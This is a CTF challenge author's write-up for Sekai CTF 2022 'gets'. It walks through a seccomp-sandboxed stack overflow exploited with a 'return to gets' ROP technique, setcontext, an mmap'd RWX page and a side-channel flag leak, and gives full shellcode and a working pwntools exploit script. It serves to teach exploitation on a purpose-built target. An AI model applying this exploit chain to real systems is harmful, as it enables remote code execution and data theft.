Published at

Sekai CTF 2022 gets writeup

Challenge writeup for the gets challenge from Sekai CTF 2022 created by me. I found a way to gain Remote-Code-Execution bypassing the hardening of latest gcc compilers which doesn't provide any useful ROP gadgets. The exploit technique in this challenge details on using just a pop rdi gadget combining with gets() to craft powerful assembly instructions and achieve Remote-Code-Execution.

Table of Contents

Sekai CTF 2022

Recently i joined Project Sekai CTF team and its been great 😉. So yea we hosted our first edition of Sekai CTF with a pretty cool UI.

Website UI

I created a pwn challenge gets for our CTF and we got XXXX solves and this is my first time creating a pwn challenge for a CTF.

Challenge

Challenge Overview

I went easy with the challenge so i provided the players with the source code so it is less hard to reverse and find the bug :laughing:.

#include <stdio.h>
#include <unistd.h>
#include <seccomp.h>

void gadgets()
{
  __asm__("pop %rdi; ret\n\t");
}

int sandbox()
{
  scmp_filter_ctx ctx;
  ctx = seccomp_init(SCMP_ACT_KILL); // default action: kill
  seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(mmap), 0);
  seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
  seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
  seccomp_load(ctx);
  return 0;
}

int main(int argc, char const *argv[])
{
    char buffer[32];
    gets(buffer);
    return sandbox();
}

Checksec Output

Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)

Seccomp blacklist

As you can see in the source code only MMAP, OPEN and READ is allowed. So you shouldn’t be getting any sort of libc leaks using some hacky IO exploits. We will see the seccomp bypass later. Seccomp bypass is discussed here

Bug

So there is a stack overflow in the challenge and lets look at the ROP gadgets in the binary

TARGET 0 - ‘chall’: ELF-X64, 0x00000000401080 entry, 597/1 executable bytes/segments

0x0000000040111c: adc [rax+0x40], al; add bh, bh; loopne 0x0000000000401189; nop [rax+rax]; ret; 0x000000004010a0: adc eax, 0x2f3b; hlt; nop [rax+rax]; endbr64; ret; 0x0000000040100e: add [rax-0x7b], cl; shl byte ptr [rdx+rax-0x1], 0xd0; add rsp, 0x8; ret; 0x000000004010ab: add [rax], al; add [rax], al; add bl, dh; nop edx, edi; ret; 0x000000004010ac: add [rax], al; add [rax], al; endbr64; ret; 0x00000000401215: add [rax], al; add [rax], al; leave; ret; 0x00000000401149: add [rax], al; add [rbp-0x3d], ebx; nop; ret; 0x0000000040114a: add [rax], al; add [rbp-0x3d], ebx; nop; ret; 0x000000004010ad: add [rax], al; add bl, dh; nop edx, edi; ret; 0x00000000401216: add [rax], al; add cl, cl; ret; 0x000000004010ae: add [rax], al; endbr64; ret; 0x000000004010a3: add [rax], al; hlt; nop [rax+rax]; endbr64; ret; 0x00000000401217: add [rax], al; leave; ret; 0x00000000401126: add [rax], al; ret; 0x0000000040100d: add [rax], al; test rax, rax; je short 0x0000000000401016; call rax; 0x000000004010d2: add [rax], al; test rax, rax; je short 0x00000000004010e0; mov edi, 0x404010; jmp rax; 0x00000000401114: add [rax], al; test rax, rax; je short 0x0000000000401128; mov edi, 0x404010; jmp rax; 0x00000000401113: add [rax], al; test rax, rax; je short 0x0000000000401128; mov edi, 0x404010; jmp rax; 0x00000000401125: add [rax], r8b; ret; 0x0000000040114c: add [rbp-0x3d], ebx; nop; ret; 0x0000000040114b: add [rcx], al; pop rbp; ret; 0x000000004010a4: add ah, dh; nop [rax+rax]; endbr64; ret; 0x0000000040111f: add bh, bh; loopne 0x0000000000401189; nop [rax+rax]; ret; 0x000000004010af: add bl, dh; nop edx, edi; ret; 0x00000000401247: add bl, dh; nop edx, edi; sub rsp, 0x8; add rsp, 0x8; ret; 0x00000000401218: add cl, cl; ret; 0x0000000040111d: add dil, dil; loopne 0x0000000000401189; nop [rax+rax]; ret; 0x00000000401147: add eax, 0x2ec3; add [rbp-0x3d], ebx; nop; ret; 0x00000000401111: add eax, 0x2ee2; test rax, rax; je short 0x0000000000401128; mov edi, 0x404010; jmp rax; 0x000000004010cf: add eax, 0x2f14; test rax, rax; je short 0x00000000004010e0; mov edi, 0x404010; jmp rax; 0x0000000040100a: add eax, 0x2fe1; test rax, rax; je short 0x0000000000401016; call rax; 0x00000000401017: add esp, 0x8; ret; 0x00000000401016: add rsp, 0x8; ret; 0x00000000401014: call rax; 0x000000004010b3: cli; ret; 0x0000000040124b: cli; sub rsp, 0x8; add rsp, 0x8; ret; 0x00000000401244: dec ecx; ret; 0x000000004010b0: endbr64; ret; 0x00000000401248: endbr64; sub rsp, 0x8; add rsp, 0x8; ret; 0x000000004010a5: hlt; nop [rax+rax]; endbr64; ret; 0x00000000401169: in eax, 0x5f; ret; 0x00000000401145: inc esi; add eax, 0x2ec3; add [rbp-0x3d], ebx; nop; ret; 0x00000000401012: je short 0x0000000000401016; call rax; 0x000000004010d7: je short 0x00000000004010e0; mov edi, 0x404010; jmp rax; 0x00000000401119: je short 0x0000000000401128; mov edi, 0x404010; jmp rax; 0x000000004010de: jmp rax; 0x00000000401219: leave; ret; 0x0000000040100b: loope 0x000000000040103c; add [rax], al; test rax, rax; je short 0x0000000000401016; call rax; 0x00000000401121: loopne 0x0000000000401189; nop [rax+rax]; ret; 0x00000000401146: mov byte ptr [rip+0x2ec3], 0x1; pop rbp; ret; 0x00000000401165: mov dl, [rbp+0x48]; mov ebp, esp; pop rdi; ret; 0x00000000401214: mov eax, 0x0; leave; ret; 0x00000000401110: mov eax, [rip+0x2ee2]; test rax, rax; je short 0x0000000000401128; mov edi, 0x404010; jmp rax; 0x000000004010ce: mov eax, [rip+0x2f14]; test rax, rax; je short 0x00000000004010e0; mov edi, 0x404010; jmp rax; 0x00000000401009: mov eax, [rip+0x2fe1]; test rax, rax; je short 0x0000000000401016; call rax; 0x00000000401168: mov ebp, esp; pop rdi; ret; 0x000000004010d9: mov edi, 0x404010; jmp rax; 0x0000000040110f: mov rax, [rip+0x2ee2]; test rax, rax; je short 0x0000000000401128; mov edi, 0x404010; jmp rax; 0x000000004010cd: mov rax, [rip+0x2f14]; test rax, rax; je short 0x00000000004010e0; mov edi, 0x404010; jmp rax; 0x00000000401008: mov rax, [rip+0x2fe1]; test rax, rax; je short 0x0000000000401016; call rax; 0x00000000401167: mov rbp, rsp; pop rdi; ret; 0x000000004010a6: nop [rax+rax]; endbr64; ret; 0x000000004010a7: nop [rax+rax]; endbr64; ret; 0x000000004010a8: nop [rax+rax]; endbr64; ret; 0x00000000401122: nop [rax+rax]; ret; 0x00000000401123: nop [rax+rax]; ret; 0x000000004010b1: nop edx, edi; ret; 0x00000000401249: nop edx, edi; sub rsp, 0x8; add rsp, 0x8; ret; 0x0000000040116c: nop; pop rbp; ret; 0x0000000040114f: nop; ret; 0x00000000401007: or [rax-0x75], cl; add eax, 0x2fe1; test rax, rax; je short 0x0000000000401016; call rax; 0x0000000040111a: or eax, 0x404010bf; add bh, bh; loopne 0x0000000000401189; nop [rax+rax]; ret; 0x0000000040114d: pop rbp; ret; 0x0000000040116a: pop rdi; ret; 0x00000000401166: push rbp; mov rbp, rsp; pop rdi; ret; 0x0000000040101a: ret; 0x00000000401118: shl byte ptr [rbp+rcx-0x41], 0x10; add dil, dil; loopne 0x0000000000401189; nop [rax+rax]; ret; 0x00000000401011: shl byte ptr [rdx+rax-0x1], 0xd0; add rsp, 0x8; ret; 0x0000000040124d: sub esp, 0x8; add rsp, 0x8; ret; 0x00000000401005: sub esp, 0x8; mov rax, [rip+0x2fe1]; test rax, rax; je short 0x0000000000401016; call rax; 0x0000000040124c: sub rsp, 0x8; add rsp, 0x8; ret; 0x00000000401004: sub rsp, 0x8; mov rax, [rip+0x2fe1]; test rax, rax; je short 0x0000000000401016; call rax; 0x000000004010aa: test [rax], al; add [rax], al; add [rax], al; endbr64; ret; 0x00000000401010: test eax, eax; je short 0x0000000000401016; call rax; 0x000000004010d5: test eax, eax; je short 0x00000000004010e0; mov edi, 0x404010; jmp rax; 0x00000000401117: test eax, eax; je short 0x0000000000401128; mov edi, 0x404010; jmp rax; 0x0000000040100f: test rax, rax; je short 0x0000000000401016; call rax; 0x000000004010d4: test rax, rax; je short 0x00000000004010e0; mov edi, 0x404010; jmp rax; 0x00000000401116: test rax, rax; je short 0x0000000000401128; mov edi, 0x404010; jmp rax;

CONFIG [ search: ROP-JOP-SYS (default), x_match: none, max_len: 5, syntax: Intel, regex_filter: none ] RESULT [ unique_gadgets: 89, search_time: 2.256585ms, print_time: 10.671071ms ]

You can see that you can only control rdi and rbp. Why is that? Because this binary comes without our favourite __libc_csu_init function in which mostly has all the useful rop gadgets it. It might be probably because the binary is compiled with libc version 2.35 or maybe because of gcc 12.2.0. So lets

   0x401236 <main+27>    jmp   exploit@plt                      <exploit@plt>

Exploit

So first lets look at our challenge description.

description

Flag is in format  `SEKAI\{[A-Z_]+\}`. Bruteforcing is not required. Rate limit is set up for this challenge.

The binary cannot be solved by

  • Basic Ret2libc : Because you dont have libc leaks.
  • Ret2DLResolve : Because the binary is compiled with Full Relro
  • Fancy FSOP: Because write syscall is not allowed.

You only need

  • pop rdi : For setting the argument for gets call.
  • pop rbp & leave; ret : For stack pivot.
  • gets : Well you’ll see

Return To Gets

In Return To Gets (I just named it) the exploit involves -

  1. Stack overflow with gets.

  2. Stack pivot to bss and calling gets keeping bss as the stack address to push some libc addresses (return addresses) in bss. We will turn this libc addresses into rop gadgets later in the exploit.

  3. Overwriting the return address of _IO_getline_info function with this you can achieve the primitive to control alot of registers which you don’t have control of using basic pop gadgets which is not given in the binary. iogetline demo

  4. With register control mainly RBP and EBX we can now use the 3d gadget to create a useful rop gadget. I used it to craft these gadgets in bss and later pivot to those addresses where i crafted to create a rop chain to call mmap.

pop rax; pop rdx
setcontext;
syscall; ret
mmap;
0x0000000040114c: add [rbp-0x3d], ebx; nop; ret; // 3d gadget
0x404068 —▸ 0x7f27806852c6 (__GI__IO_file_underflow+390) ◂— test   rax, rax

   0x40114c       <__do_global_dtors_aux+28>    add    dword ptr [rbp - 0x3d], ebx
 â–º 0x40114f       <__do_global_dtors_aux+31>    nop    
   0x401150       <__do_global_dtors_aux+32>    ret    

0x404068 —▸ 0x7f278064eb2c (setcontext+294) ◂— mov    rsi, qword ptr [rdx + 0x70]
  1. I use setcontext to set the registers for mmap and also pop rax; pop rdx; gadget and then execute mmap syscall. enter image description here The address is weird because i disabled ASLR for debugging purpose.
  2. Create RWX region and then leak flag byte by byte using side channel attack.
    global _start:

    section .text

  open_flag:
    mov rax, 0x2;
    mov rdi, flag_addr;
    xor rsi, rsi;
    xor rdx, rdx;
    syscall
    mov r15, rax;

  read_flag:
    xor rax, rax
    mov rdi, r15;
    mov rsi, flag_addr;
    mov rdx, 0x40;
    syscall;

  get_flag_idx_byte:
    xor rax, rax;
    xor rdi, rdi;
    mov rsi, flag_idx_byte;
    mov rdx, 0x2;
    syscall;
    mov r13b, byte [rsi];

  get_oracle_byte:
    xor rax, rax;
    xor rdi, rdi;
    mov rsi, oracle_byte_addr;
    mov rdx, 0x1;
    syscall;

  cmp_flag_byte:
    mov r14b, byte [rbp+r13];
    mov r15b, byte [rsi];
    cmp r14, r15;
    je win;
    jne fail;

  fail:
    jmp get_oracle_byte;
    jmp cmp_flag_byte;

  win:
    int3

  _start:
    xor r13, r13;
    call open_flag;
    call read_flag;
    call get_flag_idx_byte
    call get_oracle_byte;
    call cmp_flag_byte;
#!/usr/bin/env python3

from pwn import *
from time import sleep
from itertools import cycle
import os

exe = context.binary = ELF("./chall")
host = "0.0.0.0"
port = 1337


def craft_payload(RBP, EBX, RIP=0x0000000040101A):
    tmp = fit(
        {
            48: RBP,
            40: EBX,
            88: RIP,
            72: b"flag.txt\x00",
        }
    )
    return tmp


def setup_regs_setcontext(
    BX=0,
    CX=0,
    DX=0,
    DI=0,
    SI=0,
    R8=0,
    R9=0,
    R12=0,
    R13=0,
    R14=0,
    R15=0,
    BP=0,
    SP=0,
    IP=0x0000000040101A,
):
    tmp = fit(
        {
            0: R8,
            8: R9,
            32: R12,
            40: R13,
            48: R14,
            56: R15,
            64: DI,
            72: SI,
            80: BP,
            88: BX,
            96: DX,
            112: CX,
            120: SP,
            128: IP,
        },
        word_size=64,
    )
    return tmp


def gets(addr):
    return flat([pop_rdi, addr, exe.sym["gets"]])


def pivot(addr):
    return flat([p64(pop_rbp), addr - 8, leave_ret])


def nasm(shellcode, arch=None):
    from __main__ import exe

    if arch == None:
        if exe.arch == "amd64":
            arch = "elf64"
        elif exe.arch == "i386":
            arch = "elf32"
    f = open("/tmp/shellcode.asm", "w").write(shellcode)
    os.system(f"nasm -f {arch} /tmp/shellcode.asm -o /tmp/shellcode")
    os.system(
        "objdump -d /tmp/shellcode|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\\\x/g'|paste -d '' -s |sed 's/^/\"/'|sed 's/$/\"/g' > /tmp/ape"
    )
    a = eval("b" + open("/tmp/ape", "r").read())
    return a


padding = b"A" * 40
bss_start = 0x404000
add_gadget = 0x0000000040114C
pop_rdi = 0x0000000040116A
pop_rbp = 0x0000000040114D
leave_ret = 0x00000000401219
ret = 0x0000000040101A

pop_rax_rdx_rbx_delta = 0x3872
setcontext_delta = 0xFFFFFFFFFFE39FCD
syscall_delta = 0xFFFFFFFFFFE778F6
mov_r10_rcx_call_mmap = 0x91F0E
libc_ret_addr_bss = [bss_start + 0x68, bss_start + 0x80, bss_start + 0x98]
flag_addr = bss_start + 0x1D0
oracle_byte_addr = bss_start + 0xFC0
flag_idx_byte = bss_start + 0xFB0

syscall = bss_start + 0x058
pop_rax = bss_start + 0x068
setcontext = bss_start + 0x0C8
mmap64 = bss_start + 0x158

FLAG = ""


def exploit(cnt):

    global FLAG

    rop1 = padding + gets(bss_start + 0x100) + pivot(bss_start + 0x100)

    io.sendline(rop1)  # pivot stack to bss and call gets to push libc addresses in bss

    rop2 = b""
    rop2 += gets(bss_start + 0x10)
    rop2 += gets(bss_start + 0x100)
    rop2 += gets(bss_start + 0x100 - 0x50)
    rop2 += b"DUMMMMMY" * 20
    rop2 += p64(0xDEADBEEF)
    rop2 += (
        gets(bss_start + 0x70) + gets(bss_start + 0xC8 + 8) + pivot(bss_start + 0x68)
    ) * 8
    rop2 += gets(bss_start + 0x70)
    rop2 += pivot(pop_rax)
    rop2 += p64(0xDEADBEEF)
    rop2 += p64(ret)
    rop2 += gets(bss_start + 0x160)
    rop2 += gets(bss_start + 0x70)
    rop2 += gets(bss_start + 0xC48)
    rop2 += pivot(pop_rax)

    io.sendline(rop2)  # gets exploit trick.
    sleep(0.2)
    io.sendline(b"AAAA")  # dummy input to put libc address on bss
    sleep(0.2)
    io.sendline(b"BBBB")  # dummy input to start the attack
    sleep(0.2)
    rop3 = flat(
        [
            craft_payload(
                libc_ret_addr_bss[0] + 0x3D, pop_rax_rdx_rbx_delta
            ),  # Set RBP and EBX
            add_gadget,
            gets(bss_start + 0x130),
        ]
    )

    io.sendline(rop3)  # craft pop rax; rdx; rbx gadget

    rop4 = flat(
        [
            ret,
            ret,
            ret,
            gets(bss_start + 0x70),
            pivot(bss_start + 0x68),
        ]
    )

    sleep(0.2)

    io.sendline(rop4)

    sleep(0.2)

    io.sendline(
        p64(0) * 2
        + p64(setcontext_delta)
        + p64(pop_rbp)
        + p64(bss_start + 0xC8 + 0x3D)
        + p64(add_gadget)
        + pivot(bss_start + 0x1F0),
    )  # craft setcontext

    sleep(0.2)

    io.sendline(
        p64(0) * 2
        + p64(syscall_delta)
        + p64(pop_rbp)
        + p64(bss_start + 0x058 + 0x3D)
        + p64(add_gadget)
        + pivot(bss_start + 0xD0)
    )  # craft syscall gadget

    sleep(0.2)

    io.sendline(
        pivot(bss_start + 0x430)
        + gets(bss_start + 0x70)
        + p64(0xDEADAAAA)
        + pivot(bss_start + 0x68)
    )

    rax = 0x9
    rdi = 0xDEAD000
    rsi = 0x22
    rdx = (bss_start + 0xC48) - 0x28
    rcx = 0
    r8 = 0
    r9 = 0

    sleep(0.2)
    io.sendline(
        p64(rax)
        + p64(rdx)
        + p64(mov_r10_rcx_call_mmap)
        + p64(pop_rbp)
        + p64(bss_start + 0x158 + 0x3D)
        + p64(add_gadget)
        + pivot(bss_start + 0x468)
    )  # craft mmap address also control rdx

    success("DONE CREATING ALL GADGETS")
    warning("setup all registers and call mmap")
    warning("calling gets on all pop addresses for pivoting later")

    sleep(0.2)
    io.sendline(
        gets(0xDEAD000) + p64(0xDEAD000)
    )  # write rop below mmap64 address to the call gets on rwx page and jump to shellcode

    sleep(0.2)
    io.sendline(
        p64(rax) + p64(rdx) + p64(0x1234) + pivot(setcontext)
    )  # pivot to setcontext

    sleep(0.2)
    io.sendline(
        setup_regs_setcontext(
            DI=0xDEAD000,
            SI=0x1A,
            DX=0x7,
            CX=0x22,
            R8=0xFFFFFFFF,
            R9=0x0,
            BP=0x12345678,
            SP=mmap64,
            R12=0,
        )
    )  # pivot to set r10 and call mmap

    success("0xdead000 rxwp page created...")
    warning("Write shellcode")

    shellcode = """
    global _start:

    section .text

  open_flag:
    mov rax, 0x2;
    mov rdi, flag_addr;
    xor rsi, rsi;
    xor rdx, rdx;
    syscall
    mov r15, rax;

  read_flag:
    xor rax, rax
    mov rdi, r15;
    mov rsi, flag_addr;
    mov rdx, 0x40;
    syscall;

  get_flag_idx_byte:
    xor rax, rax;
    xor rdi, rdi;
    mov rsi, flag_idx_byte;
    mov rdx, 0x2;
    syscall;
    mov r13b, byte [rsi];

  get_oracle_byte:
    xor rax, rax;
    xor rdi, rdi;
    mov rsi, oracle_byte_addr;
    mov rdx, 0x1;
    syscall;

  cmp_flag_byte:
    mov r14b, byte [rbp+r13];
    mov r15b, byte [rsi];
    cmp r14, r15;
    je win;
    jne fail;

  fail:
    jmp get_oracle_byte;
    jmp cmp_flag_byte;

  win:
    int3

  _start:
    xor r13, r13;
    call open_flag;
    call read_flag;
    call get_flag_idx_byte
    call get_oracle_byte;
    call cmp_flag_byte;

    section .data
  flag_addr equ %s
  oracle_byte_addr equ %s
  flag_idx_byte equ %s
  """ % (
        flag_addr,
        oracle_byte_addr,
        flag_idx_byte,
    )

    sleep(0.2)
    io.sendline(
        b"\x90\x90\x90\x90"
        + asm(f"mov rbp, {flag_addr}")
        + nasm(shellcode)
        + b"\xff\xff\xff\xff"
    )

    sleep(0.2)
    io.send(chr(cnt).encode("latin-1"))

    flag_byte = ""
    characters = [
        "A",
        "B",
        "C",
        "D",
        "E",
        "F",
        "G",
        "H",
        "I",
        "J",
        "K",
        "L",
        "M",
        "N",
        "O",
        "P",
        "Q",
        "R",
        "S",
        "T",
        "U",
        "V",
        "W",
        "X",
        "Y",
        "Z",
        "{",
        "}",
        "_",
    ]
    pool = cycle(characters)
    for oracle_byte in pool:
        try:
            sleep(0.3)
            io.send(oracle_byte.encode("latin-1"))
        except:
            flag_byte = chr(
                ord(oracle_byte) - 4
            )  # - {2} this value changes in local and remote.
            FLAG += flag_byte
            return flag_byte


while True:
    for i in range(0, 100):
        # io = process("./chall")
        io = remote(host, port)
        exploit(i)
        print(FLAG)
Sharing is caring!